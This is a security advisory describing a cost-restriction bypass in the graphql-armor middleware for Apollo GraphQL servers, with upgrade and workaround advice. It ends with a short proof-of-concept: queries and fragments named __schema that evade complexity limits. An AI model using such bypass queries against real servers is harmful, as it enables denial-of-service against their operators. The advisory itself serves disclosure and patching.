How to fix?

Upgrade @escape.tech/graphql-armor to version 3.1.5 or higher.

Overview

@escape.tech/graphql-armor is a Dead-simple, yet highly customizable security middleware for Apollo GraphQL servers shield

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the computeComplexity function due to an insufficient check within the ignoreIntrospection option, which is enabled by default. This allows an attacker to bypass a cost restriction by naming a query or a fragment using __schema

Workaround

Users who are enabled to upgrade to the fixed version are advised to set the ignoreIntrospection option to false.

PoC

query  {
  ...__schema
}

fragment __schema on Query {
  books {
    title
    author
  }
}
query __schema {
  books {
    title
    author
  }
}
